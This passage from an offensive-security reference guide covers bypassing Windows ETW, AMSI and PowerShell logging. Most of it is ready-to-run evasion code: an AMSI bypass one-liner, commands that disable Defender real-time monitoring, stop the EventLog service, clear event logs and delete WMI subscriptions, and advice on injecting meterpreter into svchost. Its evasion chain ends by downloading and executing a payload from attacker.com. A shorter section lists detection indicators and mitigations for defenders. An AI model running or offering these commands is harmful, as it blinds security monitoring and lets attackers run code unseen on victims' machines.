# - csrss.exe (SYSTEM) → critical system process
# Inject into these, ETW may show activity as coming from trusted processes
# Example: Inject meterpreter into svchost.exe
# Find svchost PID running specific service (e.g., lanmanserver)
Get-Process svchost | Where {$_.ProcessName -eq "svchost"}
# Use DLL/Reflective injection (covered in DLL_Injection.md)
# to inject into chosen svchost instance
# Result: Malicious code runs as SYSTEM, under svchost process identity
# ETW logs show svchost creating child processes, which is normal
14. Combined ETW + AMSI + Script Block Logging Bypass
What it means: For maximum stealth, combine multiple bypass methods to defeat all defense layers simultaneously.
14.1 Comprehensive Bypass Chain
# ═══════════════════════════════════════════════════════════════════
# COMPLETE DEFENSE EVASION CHAIN
# ═══════════════════════════════════════════════════════════════════
# Step 1: Disable Script Block Logging (PowerShell auditing)
[Ref].Assembly.GetType('System.Management.Automation.Amsi Utils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# Step 2: Patch ETW (via reflection or P/Invoke)
# [Run ETW patch code from section 3.1]
# Step 3: Disable other PowerShell logging mechanisms
$a=[Ref].Assembly.GetTypes();
foreach($b in $a) {
if($b.Name -like "*iUtils") { $c=$b }
}
$d=$c.GetFields('NonPublic,Static')
foreach($e in $d) {
if($e.Name -like "*Context") {
$g=$e.GetValue($null)
$h=0
[System.Runtime.InteropServices.Marshal]::Copy([IntPtr]$g,0,[Int32[]]@(0),1)
}
}
# Step 4: Disable PSReadLine history
Remove-Item (Get-PSReadlineOption).HistorySavePath -Force -ErrorAction SilentlyContinue
# Step 5: Disable Windows Defender real-time monitoring (if admin)
Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableRealtimeMonitoring" -Value 1 -Force
# Step 6: Run payload with all protections disabled
IEX(IWR 'http://attacker.com/payload.ps1' -UseBasicParsing)
# Step 7: Clean up
# Revert bypasses if needed (careful!)
15. Detection & Defense
What Defenders Look For
ETW Bypass Indicators:
| Indicator | Source | Severity |
|---|---|---|
| EtwEventWrite first byte = 0xC3 | Memory scanning | 🔴 Critical |
| EventWrite patch in CLR | Memory scanning | 🔴 Critical |
| VirtualProtect on ntdll.dll | API monitoring | 🟠 High |
| ClrDisableETW = 1 in registry | Registry audit | 🟠 High |
| __EventFilter deletion via WMI | WMI audit | 🟠 High |
| ETW trace session stopped | ETW monitoring | 🟡 Medium |
| EventLog service restart | Event log | 🟡 Medium |
ETW Bypass Detection Commands:
# Check if EtwEventWrite is patched
$ntdll = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
[System.Runtime.InteropServices.Marshal]::GetProcAddress(
[System.Runtime.InteropServices.Marshal]::LoadLibrary("ntdll"), "EtwEventWrite"),
[Delegate])
# Read first byte — if 0xC3, it's patched!
$bytes = New-Object byte[] 1
[System.Runtime.InteropServices.Marshal]::Copy($ntdll, $bytes, 0, 1)
if ($bytes[0] -eq 0xC3) { Write-Host "ETW is patched!" }
# Check for disabled ETW providers
Get-WinEvent -ListProvider | Where {$_.IsEnabled -eq $false}
# Check registry for ETW disable keys
Get-ItemProperty -Path "HKLM:\System\CurrentControlSet\Services\EventLog\*" -Name "Enabled" -ErrorAction SilentlyContinue
# Audit Script Block Logging
Get-EventLog -LogName "Windows PowerShell" | Where {$_.EventID -eq 4104}
Defense Mitigations
✔ Memory Integrity Protection (HVCI) → blocks patching of ntdll
✔ Driver Block Rules → prevent kernel driver loading
✔ Code Integrity Guard (CIG) → monitors memory modifications
✔ Kernel Patch Protection (KPP) → prevents kernel-level modifications
✔ Hypervisor-based protection → hardware-level monitoring
✔ ETW Audit Policies → log ETW configuration changes
✔ EDR with kernel callback → directly register with ETW providers
16. Cheat Sheet & Quick Reference
Quick ETW Bypass Commands
# ═══════════════════════════════════════════════════════════════════
# ETW BYPASS QUICK REFERENCE
# ═══════════════════════════════════════════════════════════════════
# 1. PATCH EtwEventWrite (Fastest)
# [Use code from section 3.1]
# 2. DISABLE CLR ETW VIA COMPLUS
[Environment]::SetEnvironmentVariable("COMPLUS_ETW", "0", "Machine")
# 3. DISABLE VIA REGISTRY (Admin)
reg add "HKLM\System\CurrentControlSet\Services\EventLog\System" /v "ClrDisableETW" /t REG_DWORD /d 1 /f
# 4. REMOVE WMI SUBSCRIPTIONS
Get-WmiObject -Class __EventFilter -Namespace "root\subscription" | Remove-WmiObject -Confirm:$false
Get-WmiObject -Class __EventConsumer -Namespace "root\subscription" | Remove-WmiObject -Confirm:$false
# 5. DISABLE WINDOWS DEFENDER SCANNING
Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableRealtimeMonitoring" -Value 1 -Force
# 6. STOP EVENT LOG SERVICE
Stop-Service EventLog -Force
# 7. CLEAR EVENT LOGS
Clear-EventLog -LogName System, Security, Application
ETW Bypass Decision Tree
Need to hide malicious PowerShell activity?
│
├─→ Have admin privileges?
│ YES → Use COMPLUS_ETW registry/env var (section 6)
│ NO → proceed to memory patching
│
├─→ Can tolerate memory modifications being detected?
│ YES → Patch EtwEventWrite (section 3.1) ← fastest
│ NO → Use kernel driver or process injection (section 10, 13)
│
├─→ Running as SYSTEM already?
│ YES → Inject into svchost, patch there (section 13)
│ NO → Patch current process, then run payload
│
├─→ Also need to bypass AMSI?
│ YES → Use combined chain (section 14.1)
│
└─→ Run payload with all protections disabled
Bypass Reliability Ranking
Most Reliable (Recommended): 1. EtwEventWrite memory patch (0xC3 injection) — works reliably across all systems 2. Process injection into trusted process → patch there (section 13) 3. COMPLUS_ETW environment variable (if admin)
Moderately Reliable: 4. WMI subscription removal (can be re-enabled by services) 5. Registry-based disabling (leaves artifacts) 6. EventLog service stopping (noisy, triggers alerts)
Least Reliable (Educational): 7. Kernel driver (requires code signing, high risk) 8. HVCI/memory integrity enabled → patching fails 9. EDR with kernel callbacks → detects ETW patching
Summary Table: ETW Bypass Methods
| Method | Admin? | Stealthy? | Reliability | Detection Risk |
|---|---|---|---|---|
| EtwEventWrite patch | ❌ | 🟠 Medium | 🟢 High | 🔴 Medium (memory scan) |
| COMPLUS_ETW env | ✅ | 🟢 High | 🟢 High | 🟡 Low |
| WMI subscription | ❌ | 🟠 Medium | 🟡 Medium | 🟠 High |
| Registry disable | ✅ | 🟠 Medium | 🟡 Medium | 🟠 High |
| Kernel driver | ✅ | 🟢 High | 🟢 High | 🟢 Very Low |
| Process injection | ❌ | 🟢 High | 🟢 High | 🟠 High |
| EventLog stop | ✅ | 🟡 Low | 🟡 Medium | 🔴 Very High |
This completes the comprehensive ETW Bypass reference guide. Use responsibly for authorized red team and research purposes only.